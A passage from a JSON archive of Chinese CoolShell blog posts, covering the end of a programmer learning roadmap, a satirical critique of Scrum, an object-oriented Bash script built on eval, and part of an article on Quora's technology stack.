卷1:协议](http://product.china-pub.com/35)》- 这是一本看完后你就可以当网络黑客的书。了解以太网的的运作原理，了解TCP/IP的协议，运作原理以及如何TCP的调优。\n* **实践任务：**\n\t+ 理解什么是阻塞（同步IO），非阻塞（异步IO），多路复用（select, poll, epoll）的IO技术。\n\t+ 写一个网络聊天程序，有聊天服务器和多个聊天客户端（服务端用UDP对部分或所有的的聊天客户端进Multicast或Broadcast）。\n\t+ 写一个简易的HTTP服务器。\n* 《[Unix网络编程卷2，进程间通信](http://product.china-pub.com/196859)》信号量，管道，共享内存，消息等各种IPC…… 这些技术好像有点老掉牙了，不过还是值得了解。\n* **实践任务：**\n\t+ 主要实践各种IPC进程序通信的方法。\n\t+ 尝试写一个管道程序，父子进程通过管道交换数据。\n\t+ 尝试写一个共享内存的程序，两个进程通过共享内存交换一个C的结构体数组。\n* 学习《[Windows核心编程](http://product.china-pub.com/209058)》一书。把CreateProcess，Windows线程、线程调度、线程同步（Event,  信号量，互斥量）、异步I/O，内存管理，DLL，这几大块搞精通。\n* **实践任务：**使用CreateProcess启动一个记事本或IE，并监控该程序的运行。把前面写过的那个简易的HTTP服务用线程池实现一下。写一个DLL的钩子程序监控指定窗口的关闭事件，或是记录某个窗口的按键。\n* 有了多线程、多进程通信，TCP/IP，套接字，C++和设计模式的基本，你可以研究一下ACE了。使用ACE重写上述的聊天程序和HTTP服务器（带线程池）\n* **实践任务：**通过以上的所有知识，尝试\n\t+ 写一个服务端给客户端传大文件，要求把100M的带宽用到80%以上。（注意，磁盘I/O和网络I/O可能会很有问题，想一想怎么解决，另外，请注意网络传输最大单元MTU）\n\t+ 了解BT下载的工作原理，用多进程的方式模拟BT下载的原理。\n\n\n**3、系统架构**\n\n\n* 负载均衡。HASH式的，纯动态式的。（可以到Google学术里搜一些[关于负载均衡的文章](http://scholar.google.com.hk/scholar?q=%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1&hl=zh-CN&as_sdt=0&as_vis=1&oi=scholart)读读）\n* 多层分布式系统 – 客户端服务结点层、计算结点层、数据cache层，数据层。J2EE是经典的多层结构。\n* [CDN系统](http://en.wikipedia.org/wiki/Content_delivery_network) – 就近访问，内容边缘化。\n* [P2P式系统](http://en.wikipedia.org/wiki/Peer-to-peer)，研究一下BT和电驴的算法。比如：[DHT算法](http://en.wikipedia.org/wiki/Distributed_hash_table)。\n* 服务器备份，双机备份系统（Live-Standby和Live-Live系统），两台机器如何通过心跳监测对方？集群主结点备份。\n* [虚拟化技术](http://en.wikipedia.org/wiki/Virtualization)，使用这个技术，可以把操作系统当应用程序一下切换或重新配置和部署。\n* 学习[Thrift](http://thrift.apache.org/)，二进制的高性能的通讯中间件，支持数据(对象)序列化和多种类型的RPC服务。\n* 学习[Hadoop](http://hadoop.apache.org/)。Hadoop框架中最核心的设计就是：MapReduce和HDFS。MapReduce的思想是由Google的一篇论文所提及而被广为流传的，简单的一句话解释MapReduce就是“任务的分解与结果的汇总”。HDFS是Hadoop分布式文件系统（Hadoop Distributed File System）的缩写，为分布式计算存储提供了底层支持。\n* 了解[NoSQL数据库](http://en.wikipedia.org/wiki/NoSQL)（有人说可能是一个[过渡炒作的技术](https://coolshell.cn/articles/3609.html \"那些炒作过度的技术和概念\")），不过因为超大规模以及高并发的纯动态型网站日渐成为主流，而SNS类网站在数据存取过程中有着实时性等刚性需求，这使得目前NoSQL数据库慢慢成了人们所关注的焦点，并大有成为取代关系型数据库而成为未来主流数据存储模式的趋势。当前NoSQL数据库很多，大部分都是开源的，其中比较知名的有：MemcacheDB、Redis、Tokyo Cabinet(升级版为Kyoto Cabinet)、Flare、MongoDB、CouchDB、Cassandra、Voldemort等。\n\n\n写了那么多，回顾一下，觉得自己相当的有成就感。希望大家不要吓着，我自己这十来年也在不断地学习，今天我也在学习中，人生本来就是一个不断学习和练级的过程。**不过，一定有漏的，也有不对的，还希望大家补充和更正**。（**我会根据大家的反馈随时更新此文**）欢迎大家通过我的微博（[@左耳朵耗子](http://weibo.com/haoel)）和twitter（@[haoel](http://twitter.com/haoel)）和我交流。\n\n\n***—– 更新  2011/07/19 —–***\n\n\n1）有朋友奇怪为什么我在这篇文章开头说了web+移动，却没有在后面提到iOS/Android的前端开发。因为我心里有一种感觉，移动设备上的UI最终也会被Javascript取代。大家可以用iPhone或Android看看google+，你就会明白了。\n\n\n2）有朋友说我这里的东西太多了，不能为了学习而学习，我非常同意。我在文章的前面也说了要思考。另外，千万不要以为我说的这些东西是一些新的技术，这份攻略里95%以上的全是基础。而且都是久经考验的基础技术。即是可以让你一通百通的技术，也是可以让你找到一份不错工作的技术。\n\n\n3）有朋友说学这些东西学完都40了，还不如想想怎么去挣钱。我想告诉大家，一是我今年还没有40岁，二是学无止境啊，三是我不觉得挣钱有多难，难的是怎么让你值那么多钱？无论是打工还是创业，是什么东西让你自己的价值，让你公司的价值更值钱？别的地方我不敢说，对于互联网或IT公司来说，技术实力绝对是其中之一。\n\n\n4）有朋友说技术都是工具，不应该如此痴迷这句话没有错，有时候我们需要更多的是抬起头来看看技术以外的事情，或者是说我们在作技术的时候不去思考为什么会有这个技术，为什么不是别的，问题不在于技术，问题在于我们死读书，读死书，成了技术的书呆子。\n\n\n5） 对于NoSQL，最近比较火，但我对其有点保守，所以，我只是说了解就可以。对于Hadoop，我觉得其在分布式系统上有巨大的潜力，所以需要学习。 对于关系型数据库，的确是很重要的东西，这点是我的疏忽，在原文里补充。\n\n\n（全文完）\n\n\n\n\n---\n\n\n**注：该文最新的版本在这里《[程序员技术练级攻略（2018版）](https://coolshell.cn/articles/18360.html)》（需要付费阅读）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\nThe post [程序员技术练级攻略](https://coolshell.cn/articles/4990.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-7-21 为什么Scrum不行？.md",
    "content": "---\nlayout: post\ntitle: 为什么Scrum不行？\ndate: 2011/7/21/ 0:37:3\nupdated: 2011/7/21/ 0:37:3\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2011/07/hat-150x150.jpeg)这篇文章的原文在这里（[原文链接](http://maurits.wordpress.com/2011/07/13/why-scrum-will-never-work/ \"Why Scrum will never work\")）（**下文不是全译，也不是部分译，我只是把其总结，有我自己的发挥，但是原意大致不变**），这篇文章完全是在调侃Scrum的，作者第一段就是一个免费声明，其说他是[Scrum](http://en.wikipedia.org/wiki/Scrum_(development))和其它敏捷方法的big fan， 他也认为Scrum 100% 对 软件开发可行。作者使用Scrum 5年了，也公开作过几次敏捷的分享会。他觉得写这篇文章只是为了好玩，因为他们戴上[Edward de Bono](http://en.wikipedia.org/wiki/Edward_de_Bono) 的 [black hat](http://en.wikipedia.org/wiki/Six_Thinking_Hats#Black_hat_.E2.80.93_Being_Cautious) （黑礼帽 – 是6个思考之帽中的一种——负面思考，思考事物的负面因素，这样才知道：它会起作用吗？缺点是什么？它有什么问题？为什么不能做。）\n\n\n因为本人经常站在Agile的风口浪尖，所以我有必要也来一个“免责声明”。Shit！其实我想来的是“**不免责声明**” ——**下文中的九大原因是对中国的各种Agile实践者咨询师不注重实际只重方法论的批判**，**本人必然要和那种只以流程方法论为中心的软件开发斗争到底**。其实我没有那么嚣张，**我只是想说，下面的这些东西相当的现实。希望各种Scrum的实践者们认识到这些问题，从而可以让你们明白软件开发中的人的重要性**。\n\n\n**Reason 1**:  [Scrum](http://en.wikipedia.org/wiki/Scrum_(development)) 的基石是相信人。创造一个安全的环境，这样每个人都能相互学习，相互直言。但是，这是不行的，这世上有很多人并不关心这些，而且政治和竞争到处都是，办公室里无小事，你和别人交心，你相信他们，最终受伤的你自己。你真的以为那里有空间让你可以去犯错，去冒险吗？别天真了！你啊，too young, too simple, sometimes naive!\n\n\n**Reason 2**: [Scrum](http://en.wikipedia.org/wiki/Scrum_(development)) 认为只要给员工足够多的自由员工就能做得最好。这该死是理论是基于什么玩意？不可能，人的天性是懒惰的，他们才不会把事做好的，他们只会做相应报酬的工作量，还可能基本还达不到其相应的报酬，大多数人都在混日子啊。尤其是和经理比起来，谁不想能尽快地成为经理或Team leader啊，因为那样他们就可以即不干活，又挣得多。另外，你给他们自由，你就会发现，他们会只会做他们感兴趣的事，要么聊QQ，要么打游戏，看闲书，反正不干正事。直到你催了，他们才动一动。\n\n\n\n**Reason 3**: 因为前面的原因，所以，我们仍然要把一个PM放在Scrum团队的上面做管理，这样才会有产出。于是，PM给团队分配任何，管得细枝末节，事无巨细，天天让你做进度汇报，等等。直至把团队拖垮。\n\n\n**Reason 4**: [Scrum](http://en.wikipedia.org/wiki/Scrum_(development)) 只不过是一个流程。这世上有太多的流程，尤其是那那些操CMMi的公司。几乎所有玩CMMi流程的公司，你都能看到的是员工都是那一副副苦逼的脸。所以，Scrum的流程同样会这样。因为这些都不是开发团队自发出来的，而是上面管你喜欢不喜欢按给你的。 Scrum 根本不可能增进你的软件质量和技术，只能是优秀的人才才可能！使用Scrum的公司都是些吝啬鬼，他们不愿花大钱招优秀的人，他们妄图使用Scrum这种东西让现有的这些廉价劳动力发挥更大的生产效率，Scrum成了push程序员最有用的工具。\n\n\n**Reason 5**: [Scrum](http://en.wikipedia.org/wiki/Scrum_(development)) delivers ‘business value’。不是这样的，实际上，Scrum不可能。这有很多原因。真正了解业务的那帮人根本不可能加入项目团队，那些人谁TMD愿意和苦逼的技术人员加班啊。 那些人喜欢和我们的用户吃吃喝喝，花天酒地的，根本不会和你们那些奇怪的东西（如：backlog）或是那堆ugly的内向古怪的技术人员打交道，更别说什么技术了。所以，你的团队就像一个客服团队或救火队一样疲于奔命。\n\n\n**Reason 6**: 一个敏捷的团队应该是持续进步的。这就是为什么Scrum总是在问什么干得好，什么需要改进，并定义行动方案。你真的以为员工想进步吗？让他们不得不去想想自己和团队怎么进步，然后他们还不得不去执行行动方案。别天真了，人的天性是不喜欢改变的，人的天性是习惯于一些按部就般的事的，也许那样做令人讨厌，但是人家还是能干点东西出来。如果你逼着人家改变，你就是在压迫人家，人家自然会反抗。\n\n\n**Reason 7**: Product Owner 专注于 ‘what’ 和 ‘why’ 的问题，开发团队决定 ‘how’。很不错的分工，于是可以造就一个即高速有重质量的团队。然而，这根本不行。你的Product Owner马上就想要这个功能，他才不管你的软件开发的技术难题，人家只要快，要你meet deadline，要你给我们重要的客户做出承诺。另外，你千万不要以为你们可以哄走这个初级的product owner，因为他的后台是直接汇报到高层管理。你作为一个程序员可能只是其个小部门的一个小喽啰，或者只是外包公司，你觉得可能吗？你觉得建立信任可能吗？\n\n\n**Reason 8**: 软件质量和生产率成正比。也就是说，质量越高，生产率越高。如果质量不高，你开发效率就会低下，但是谁管呢？我们朝九晚五的上班，质量好了也是做8小时，质量差了也是做8小时，无所为嘛。另外，我们的 project manager (或者是Scrum master!) 总是会批评我们没有按计划完成。所以，这根本 不可能。\n\n\n**Reason 9**: “是的，如果我们只做需要的功能，那么我们就会最低的成本，对吗？”，为什么这世上总是会有这些幼稚的人？这种事怎么可能啊。很多很多的银行或保险公司的项目在你还没有启动项目前就谈好了一个价格（可能还会有回扣），为了打单子，销售什么都干得出来，让你去做项目是因为你是廉价劳动力，而且，他们会不断地加需求，因为软件合同谈好的价格时候，连需求都没有，你去做了才有，还是模糊和不确定或根本就是错的，然后需求是越来越多，越改越多。等你精疲力尽的时候，你才意识到，销售早就把你卖了。\n\n\n![](../wp-content/uploads/2011/07/dilberttrust.gif)\n\n\n爽啊，戴着黑礼帽思考问题比我想像中的要有趣得多，现在我必需要把它摘下来了。\n\n\n**看完这篇文章，你觉得是人的问题还是软件开发方法的问题？**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [![持续部署，并不简单！](../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg)](https://coolshell.cn/articles/7657.html)[持续部署，并不简单！](https://coolshell.cn/articles/7657.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/5625.html)[“品质在于构建过程”吗？](https://coolshell.cn/articles/5625.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4891.html)[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html)\nThe post [为什么Scrum不行？](https://coolshell.cn/articles/5044.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-7-21 面向对象的Shell脚本.md",
    "content": "---\nlayout: post\ntitle: 面向对象的Shell脚本\ndate: 2011/7/21/ 4:39:11\nupdated: 2011/7/21/ 4:39:11\nstatus: publish\npublished: true\ntype: post\n---\n\n还记得以前那个用[算素数的正则表达式](https://coolshell.cn/articles/2704.html \"检查素数的正则表达式\")吗？编程这个世界太有趣了，总是能看到一些即别出心裁的东西。你有没有想过在写Shell脚本的时候可以把你的变量和函数放到一个类中？不要以为这不可能，这不，我在[网上](http://lab.madscience.nl/oo.sh.txt)又看到了一个把Shell脚本整成面向对象的东西。Shell本来是不支持的，需要自己做点东西，能搞出这个事事的人真的是hacker啊。\n\n\n当然，这里并不是真正的面向对象，因为其只是封装罢了，还没有支持继承和多态。最变态的是他居然还支持typeid，靠！\n\n\n下面让我们看看他是怎么来做的。下面的脚本可能会有点费解。本想解释一下，后来想想，还是大家自己专研一下吧，其实看懂也不难，给大家提几个点吧。\n\n\n1. 我们可以看到，下面的这个脚本定义了class,  func, var, new 等函数，其实这些就是所谓的关键字。\n2. class是一个函数，主要是记录类名。\n3. func和var实际上是把成员函数名和成员变量记成有相同前缀的各种变量。\n4. new方法主要是记录实例。大家重点看看new函数里的那个for循环，最核心的就在那里了。\n\n\n脚本如下所示：\n\n\n```\n#!/bin/bash\n\n# -------------------------------------------------------------------\n# OO support functions\n# Kludged by Pim van Riezen <pi@madscience.nl>\n# -------------------------------------------------------------------\nDEFCLASS=\"\"\nCLASS=\"\"\nTHIS=0\n\nclass() {\n  DEFCLASS=\"$1\"\n  eval CLASS_${DEFCLASS}_VARS=\"\"\n  eval CLASS_${DEFCLASS}_FUNCTIONS=\"\"\n}\n\nstatic() {\n  return 0\n}\n\nfunc() {\n  local varname=\"CLASS_${DEFCLASS}_FUNCTIONS\"\n  eval \"$varname=\\\"\\${$varname}$1 \\\"\"\n}\n\nvar() {\n  local varname=\"CLASS_${DEFCLASS}_VARS\"\n  eval $varname=\"\\\"\\${$varname}$1 \\\"\"\n}\n\nloadvar() {\n  eval \"varlist=\\\"\\$CLASS_${CLASS}_VARS\\\"\"\n  for var in $varlist; do\n    eval \"$var=\\\"\\$INSTANCE_${THIS}_$var\\\"\"\n  done\n}\n\nloadfunc() {\n  eval \"funclist=\\\"\\$CLASS_${CLASS}_FUNCTIONS\\\"\"\n  for func in $funclist; do\n    eval \"${func}() { ${CLASS}::${func} \\\"\\$*\\\"; return \\$?; }\"\n  done\n}\n\nsavevar() {\n  eval \"varlist=\\\"\\$CLASS_${CLASS}_VARS\\\"\"\n  for var in $varlist; do\n    eval \"INSTANCE_${THIS}_$var=\\\"\\$$var\\\"\"\n  done\n}\n\ntypeof() {\n  eval echo \\$TYPEOF_$1\n}\n\nnew() {\n  local\n  local cvar=\"$2\"\n  shift\n  shift\n  local id=$(uuidgen | tr A-F a-f | sed -e \"s/-//g\")\n  eval TYPEOF_${id}=$class\n  eval $cvar=$id\n  local funclist\n  eval \"funclist=\\\"\\$CLASS_${class}_FUNCTIONS\\\"\"\n  for func in $funclist; do\n    eval \"${cvar}.${func}() {\n      local t=\\$THIS; THIS=$id; local c=\\$CLASS; CLASS=$class; loadvar;\n      loadfunc; ${class}::${func} \\\"\\$*\\\"; rt=\\$?; savevar; CLASS=\\$c;\n      THIS=\\$t; return $rt;\n    }\"\n\n  done\n  eval \"${cvar}.${class} \\\"\\$*\\\" || true\"\n}\n```\n\n下面，让我们来看看例程吧。\n\n\n\n```\n# -------------------------------------------------------------------\n# Example code\n# -------------------------------------------------------------------\n\n# class definition\nclass Storpel\n  func Storpel\n  func setName\n  func setQuality\n  func print\n  var name\n  var quality\n\n# class implementation\nStorpel::Storpel() {\n  setName \"$1\"\n  setQuality \"$2\"\n  if [ -z \"$name\" ]; then setName \"Generic\"; fi\n  if [ -z \"$quality\" ]; then setQuality \"Normal\"; fi\n}\n\nStorpel::setName() { name=\"$1\"; }\nStorpel::setQuality() { quality=\"$1\"; }\nStorpel::print() { echo \"$name ($quality)\"; }\n\n# usage\nnew Storpel one \"Storpilator 1000\" Medium\nnew Storpel two\nnew Storpel three\n\ntwo.setName \"Storpilator 2000\"\ntwo.setQuality \"Strong\"\n\none.print\ntwo.print\nthree.print\n\necho \"\"\n\necho \"one: $one ($(typeof $one))\"\necho \"two: $two ($(typeof $two))\"\necho \"three: $three ($(typeof $two))\"\n```\n\n \n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![Unix考古记：一个“遗失”的shell](../wp-content/uploads/2013/04/figure1-150x150.gif)](https://coolshell.cn/articles/9410.html)[Unix考古记：一个“遗失”的shell](https://coolshell.cn/articles/9410.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\nThe post [面向对象的Shell脚本](https://coolshell.cn/articles/5035.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-7-4 Quora使用到的技术.md",
    "content": "---\nlayout: post\ntitle: Quora使用到的技术\ndate: 2011/7/4/ 0:35:37\nupdated: 2011/7/4/ 0:35:37\nstatus: publish\npublished: true\ntype: post\n---\n\n以前向大家介绍过[Stack Exchange的系统架构](https://coolshell.cn/articles/3721.html \"Stack Exchange 的架构\")和[Facebook的系统架构](https://coolshell.cn/articles/4549.html \"Facebook 的系统架构\")，今天和大家说说Quora的。本文主要参考了[Phil Whelan](http://www.philwhln.com/author/admin/ \"Phil Whelan\")的这篇文章《[Quora’s Technology Examined](http://www.philwhln.com/quoras-technology-examined)》。关于Quora是个什么网站我就不多说了，国内对他的C2C网站叫“知乎”。呵呵。我们还是来看看Quora的技术吧。\n\n\n#### Search-Box\n\n\nQuora只能搜索问题，主题标签，用户名，和主题标题。没有全文搜索，所以，你无法搜索问题和答案的内容。而搜索中使用前缀搜索方式，比如你输入mi，则Microsoft会马上出来。其搜索还会有一些非常简单的模糊匹配的算法。另外，如果有重复的问题，其中一个问题会自动跳转到另一个问题，但是在搜索中还是会出现。搜索中没有拼写检查。\n\n\n一开始，他们使用的是一个开源的搜索服务器，叫[Sphinx](http://sphinxsearch.com/)。其支持上述的那些功能。现在他们不用这个技术了，因为[受到了一些限制](http://www.quora.com/What-is-the-best-open-source-solution-for-implementing-fast-auto-complete)。他们做了一个比较新的解决方案，这个算法由Python实现。\n\n\n**参看**：[http://www.quora.com/favicon.icoWhat libraries does Quora use for search?](http://www.quora.com/What-libraries-does-Quora-use-for-search)\n\n\n#### 实时查询\n\n\nQuora的查询是非常高速的，其查询请求是通过AJAX的GET请求发送的，结果返回用的是JSON数据格式，但他们解析JSON是在服务器端，而不是通过浏览器的javascript。这么做的原因可能是他们想高亮搜索关键词，似乎使用Client端的Javascript非常不好做。\n\n\nQuora的即时搜索好像比较暴力，如果你输入Microsoft（一共9个字符），你会看到其会像后端发送9次查询——每按一个键一次，无论你敲这个单词的速底有多快，每输入一个字符都会发一个请求给后台。对于这样的看上去没有效率的对后台的请求，后台的服务器端会来控制相关的前台请求，所以，就算是前台这样做，也不会增加服务器端的负载，因为后台会做相关的处理。\n\n\nQuora的搜索使用HTTP长连接，当你开始敲查询的时候，连接就建立了，这个连接会持续在那里，你下次搜索的时候会继续使用这个连接，除非你60秒没有动作了。\n\n\n**参看**：[http://www.quora.com/favicon.icoIs Quora going to implement full-text search?](http://www.quora.com/Quora-product/Is-Quora-going-to-implement-full-text-search)\n\n\n\n#### Webnode2 和 LiveNode\n\n\nWebnode2 和 LiveNode 是 Quora 内部的系统，其用来管理内容。Webnode2  生成 HTML, CSS 和 JavaScript 并且和 LiveNode 紧紧地耦合在一起，Webnode2主要是用来管理内容在网页上显示的，LiveNode主要是用来做动态网页内容更新的。Charlie Cheever 说，如果他可以从新开始，他 [第一件事要做的就是重写整个LiveNode](http://www.quora.com/What-limitations-has-Quora-encountered-due-to-LiveNode-WebNode#answers).\n\n\nQuora的工程师看上去对他们搞的这些东西非常的满意，并且 [他们也在努力地找到这些东西的弱点](http://www.quora.com/What-limitations-has-Quora-encountered-due-to-LiveNode-WebNode#answers)。有一个有意思的关于LiveNode的问题是，如果A和B同时正在看相当的一个问题，那么用户A的一些交互动作会影响B的页面。例如，如果A顶了一下某个答案，那么这个答案可能会往上移动。这样的一个显示变化会通过AJAX更新B的浏览器。如果B此时展开了评论，可能会受到影响。\n\n\n[LiveNode 由这些东西写成：](http://www.quora.com/What-is-LiveNode-written-in)Python, C++, and JavaScript. [jQuery](http://jquery.com/) ，[Cython](http://cython.org/)也用到了。\n\n\n因为Quora [想要对他们的LiveNode开源](http://www.quora.com/Is-Quora-planning-on-open-sourcing-LiveNode) 并准备把他们的代码分开，做这个事可能需要太多的工作和时间。\n\n\nCharlie Cheever 指出 WebNode2 和 [有一个叫做 “free and easy website builder” 的 Webnode 的 webnode.com](http://www.quora.com/Quora-Infrastructure/What-is-webnode2) 没有任何的关系。\n\n\n**参考**：[http://www.quora.com/favicon.ico](http://www.quora.com/Quora-product/Is-Quora-going-to-implement-full-text-search) [Tech Talk – Webnode2 and LiveNode](http://www.quora.com/Shreyes-Seshasai/Tech-Talk-Webnode2-and-LiveNode)\n\n\n#### Amazon Web Service\n\n\nQuora全部host在AWS的EC2和S3上，这对于这些刚刚起步的快速发展的公司非常关键，因为你可以省去了很多硬件和维护的成本。（建一个数据中心并不是所有公司都能干的事）。Quora的操作系统使用Ubuntu Linux，这是非常容易部署和管理。\n\n\n其静态页使用了Amazon的CDN的 [Cloudfront](http://aws.amazon.com/cloudfront/)服务分发，CloudFront用于所有的静态图片, CSS 和JavaScript。[图片先传到 EC2 服务器](http://www.quora.com/How-is-Quora-doing-image-uploads-to-Amazon-S3)，使用 [Pyhon S3 API](http://aws.amazon.com/code/134) 处理后后传到 S3。\n\n\n#### HAProxy Load-Balancing\n\n\n[HAProxy](http://haproxy.1wt.eu/) 作为前端负载均衡服务器，反向代理服务器是 Nginx，Nginx 后面则是 Pylons ([Pylons + Paste](http://spacepants.org/blog/pylons-paste-stack)) , 承担动态 Web 请求。\n\n\n[Pylons](http://pylonshq.com/)，是一个轻量级的Web框架，通常都是在Nginx后面使用。选用Pylons就像你在春节先饺子当主食一样。他们把Pylons中的template和ORM取走而使用自己的技术（由Python写成），这个地方就是 [LiveNode 和 WebNode2的地方](http://www.quora.com/What-languages-and-frameworks-were-used-to-code-Quora)。\n\n\n#### Python\n\n\n从facebook出来的Charlie 和 Adam选用了Python而不是PHP。正如Adam指出的——“[Facebook is stuck on that for legacy reasons, not because it is the best choice right now](http://www.quora.com/Why-did-Quora-choose-Python-for-its-development)”（Facebook使用PHP并不是因为其好，而是因为历史原因的问题），当然他们也不会使用C#，因为那样一来就会引入一堆微软的东西。当然，也不会是Java，因为Python要比Java更容易写出代码，Scala太年轻了，还需要考验。Ruby看上来很像Python，但是他们对Ruby没有过多的经验。最终还是Python胜出。当然，他们知道Python的弱点是性能和速度，所以，他们在需要速度和性能的地方使用了C/C++。 他们使用Python的版本是2.6。\n\n\n使用Python的另一个原因是Python的数据结构和JSON可以很好的映射起来。代码易读性很高。而且有很多的库，调试器和重载器。Quora的B/S结构几乎完全通过JSON进行数据交互。\n\n\n他们[没有使用IDE](http://www.quora.com/Adam-DAngelo/What-version-of-Python-are-you-programming-in-and-what-IDE-do-you-use)，他们使用得最多的是Emacs，一看就知道这是一个个人的选择，随着他们开发团队的扩大，这个事会得到改变的。\n\n\n另外，他们提到了[PyPy](http://codespeak.net/pypy/dist/pypy/doc/)，一个让 Python更快更灵活的项目。\n\n\n#### Thrift\n\n\n[Thrift](http://incubator.apache.org/thrift/) 用于后端服务器间的通讯。Thrift  服务由 C++开发。[Facebook同样使用了这个技术](https://coolshell.cn/articles/4549.html)。\n\n\n**参考**：[http://www.quora.com/favicon.icoWhy would you write a Thrift service in C++?](http://www.quora.com/Why-would-you-write-a-Thrift-service-in-C)\n\n\n#### Tornado\n\n\n[Tornado](http://www.tornadoweb.org/) web 框架用于实时更新，其运行在Comet 服务器上，其用来处理大量的需要长时间poll和push更新的网络连接。\n\n\n#### Long Polling (Comet)\n\n\nQuora的网页并不是简单的显示，每一个页面都需要更新，或是创建问题，答案和评论。所以，他们使用了Long Polling而不是传统的Polling，传统的Polling需要浏览器一端不停地重复地向服务器询问——“有更新吗？”，服务器说没有，于是过一会浏览大再问，现在呢？服务器说，还是没有，浏览器过一会又问，现在呢？服务器说，还没好。这样一来，就好像让我们的客户端放到了驾驶室里，这显然是有问题的，因为只有服务器知道什么时候会有更新。而且浏览器这么干，很快会让服务器的负载加上去。\n\n\nLong polling 也就是我们熟知的 [Comet](http://en.wikipedia.org/wiki/Comet_(programming))，其让服务器来控制这些事，让客服端等在那里听服务器的响应。在client和 server的会话对于两者是是相同的，而不是client需要等着然后向服务器查询。服务器端可以把一个连接打开很长时间（比如：60秒），在这段时间里，服务器会查看是否有相应的东西需要更新，如果有的话，就发给浏览器。如果没有的话，就等下一次的client询问。可见，这种服务器等一会再响应的方法可以让浏览器少发几次查询。\n\n\n对于long-polling 的最好的地方是，可以降低浏览器和客户端间来来回回的次数。让服务器端来控制时间，所以，内容更新可能会只是几个毫秒，或是几十秒。 服务器端也可以积攒一堆更新后，一次发给浏览器。这样做会更有效率。\n\n\n但是，这个方法的黑暗面是——这会让服务器端出现大量的TCP链接，想一想，Quora也是百万级用户的应用了，只需要10%的在线用户，你就需要一个可以处理10万并发量的架构。注意，如果一个用户在其浏览器里打开了多个Quora网页的话，那么，这个链接器会是非常致命的。\n\n\n当然，好的消息是已经有一些技术专门为Long Polling设计，这些技术可以让你在那些等待的连接中只会消耗非常非常少的内存（因为那些等待连接并不需要所有的资源）。例如：Nginx 是一个单线程的事件驱动的小型服务器，每一个链接只花非常小的内存。每一个Nginx的进程只会在一个时候处理一个连接。这意味着其很容易扩展成一个可以处理成千上的并发量的服务架构。\n\n\n**参考**：[http://www.quora.com/favicon.icoHow do you push messages back to a web-browser client through AJAX? Is there any way to do this without having the client constantly polling the server for updates?](http://www.quora.com/How-do-you-push-messages-back-to-a-web-browser-client-through-AJAX-Is-there-any-way-to-do-this-without-having-the-client-constantly-polling-the-server-for-updates)\n\n\n#### MySQL\n\n\n就像Adam D’Angelo 